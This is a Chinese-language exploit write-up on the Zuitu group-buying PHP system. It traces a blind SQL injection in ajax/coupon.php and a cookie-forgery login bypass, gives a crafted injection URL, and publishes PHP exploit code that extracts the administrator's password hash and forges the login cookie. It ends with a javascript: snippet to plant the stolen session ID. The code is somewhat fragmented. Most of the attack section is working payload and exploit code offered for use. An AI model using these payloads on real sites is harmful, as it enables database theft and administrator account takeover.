最土团购系统是国内著名团购程序,在国内团购系统份额中所占比例很大,
最土团购系统盲注及cookie欺骗漏洞漏洞预警
。但因有些版本某些地方过滤不完全导致注射漏洞(非通杀)。查找方式
powered by zuitu
漏洞分析
1.注入漏洞
首先看一下全局核心文件app.php代码:
$val) { $string[$key] = magic_gpc($val); } } else { $string = stripslashes($string); } } return $string; }对所传递的参数进行反转义,即用程序关闭gpc功能,和一般的程序正好相反,开始我很费解,看到数据库类的时候,才明白意图,看db.class.php代码:static public function EscapeString( $string ){self::Instance();return @mysql_real_escape_string( $string, self::$mConnection );}在php端去掉gpc功能,在库操作的时候用mysql_real_escape_string转义,实现数据库安全,值得程序员借鉴,但是有意思的是看一下GetDbRowById方法代码:static public function GetDbRowById($table, $ids=array()) { $one = is_array($ids) ? false : true; settype($ids, 'array'); $idstring = join('\',\'', $ids); //用','进行连接,程序自己已经用到了',所以这个方法不能用mysql_real_escape_string转义,结合上面gpc反转义,出现漏洞 $q = "SELECT * FROM `{$table}` WHERE id IN ('{$idstring}')"; $r = self::GetQueryResult($q, $one); if ($one) return $r; return Utility::AssColumn($r, 'id'); }Table类的FetchForce方法用到了GetDbRowById方法,文件ajax/coupon.php中漏洞触发代码:$action = strval($_GET['action']); $cid = strval($_GET['id']); //strval,不是intval $sec = strval($_GET['secret']); 省略无用代码...... else if($action == 'consume') { $coupon = Table::FetchForce('coupon', $cid); //利用到了cid,形成漏洞 $partner = Table::Fetch('partner', $coupon['partner_id']); $team = Table::Fetch('team', $coupon['team_id']); if (!$coupon) { $v[] = "#{$cid} 无效"; $v[] = '本次消费失败'; } 接着省略......因为是ajax调用文件和逻辑问题,注入没有显示(或者说很麻烦),直接盲住。构造url: www.abc.com/ajax /coupon.php?action=consume& id=--9876')%20or%20exists(select%20*%20from%20user%20where%20manager='Y'%20and%20ord(substring(password,1,1))& gt;50%20and%20id=1%20order%20by%20id%20desc%20limit%201)--%20sdf。2.cookie欺骗系统对密码加密采取的是salt+密码md5加密,破解的可能为0。看app.php如下代码:$currency = $INI['system']['currency']; $login_user_id = ZLogin::GetLoginId(); //尝试获取user_id,系统默认第一个注册的为超级管理员 $login_user = Table::Fetch('user', $login_user_id);追踪GetLoginId方法:static public function GetLoginId() { $user_id = abs(intval(Session::Get('user_id'))); if (!$user_id) { $u = ZUser::GetLoginCookie(self::$cookie_name); //调用cookie $user_id = abs(intval($u['id'])); } if ($user_id) self::Login($user_id); return $user_id; } static public function GetLoginCookie($cname='ru') { $cv = cookieget($cname); //获取cookie值 if ($cv) { $zone = base64_decode($cv); //对cookie值base64解密 $p = explode('@', $zone, 2); //用@分隔成数组 return DB::GetTableRow('user', array( //进入user表查询 'id' => $p[0], //第一部分为id,默认超级管理员id为1 'password' => $p[1], //第二部分为加密后的密码hash )); } return Array(); } /*cookie获得方式*/ function cookieget($k, $default='') { $pre = substr(md5($_SERVER['HTTP_HOST']),0,4); $k = "{$pre}_{$k}"; return isset($_COOKIE[$k]) ? strval($_COOKIE[$k]) : $default; }
真正用到的参数是id,password的hash。密码学告诉我们解密的关键是密钥,而不是算法,那通过注入我们掌握了id和password直接cookie欺骗,以管理员身份登录。由于后台需要二次登录,所以思路是我们在前台用超级管理员欺骗登陆后,pass掉管理员密码,登录后台。说了很多废话,整合两个漏洞,最后上exp:
$count%20and%20id=1%20order%20by%20id%20desc%20limit%201)--%20sdf"; //14561 $remove_data = @file_get_contents($url); if(!strstr($remove_data, '--9876')) { return 1; } return 0; } /*账号和密码猜解*/ function blindExp($pos) { $counter_min = 20; $counter_max = 128; $counter_middel = 0; $res = ''; $i = 0; while($i <=10) { $counter_middel = ($counter_max + $counter_min) / 2; $res = getData($pos, $counter_middel); if(empty($res)) { $counter_max = floor($counter_middel); } else { $counter_min = ceil($counter_middel); } if($counter_max == $counter_min && $counter_max != 20) { $res = chr($counter_max); break; } $i++; } return preg_match('/[\d\S]/', $res) ? $res : '~'; } /*伪造cookie*/ function sharpLogin($host = '', $password = '') { $time = time() + 3600 * 24 *30; $key = substr(md5($host), 0, 4); $cookie_key = $key."_ru"; $cookie_val = base64_encode('1@'.$password
); $data = ''; $data .= "GET /index.php HTTP/1.1\r\n"; $data .= "Host: $host\r\n"; $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; $data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n"; $data .= "Cookie: {$cookie_key}_city=1; cnzz_a2262318=3; sin2262318=; rtime=0; ltime=$time; cnzz_eid=19056328-1285688892-; $cookie_key=$cookie_val\r\n"; $data .= "Connection: Close\r\n\r\n"; $fp = fsockopen($host, 80); fputs($fp, $data); $res = ''; while($fp && !feof($fp)) { $res .= fread($fp, 1024); } fclose($fp); $session_id = getSessionId($res); if($session_id)return $session_id; else return false; } /*获取sessionid*/ function getSessionId($data) { preg_match("/PHPSESSID=([\d\w]+);/iU", $data, $match); if(isset($match[1])) { return $match[1]; } return ''; }exp返回如下代码:
The PHPSESSID is 9fb4dff8d28c07aa4e2a6ea67f7ed2ab! Please copy the command 'javascript.:alert(document.cookie='PHPSESSID=9fb4dff8d28c07aa4e2a6ea67f7ed2ab'); ' to the widow which the www.abc.com is opened, then reload the window!拷贝'javascript.:alert(document.cookie='PHPSESSID=9fb4dff8d28c07aa4e2a6ea67f7ed2ab');到打开当前网站的浏览器窗口输入栏,回车,刷新,即登录成功,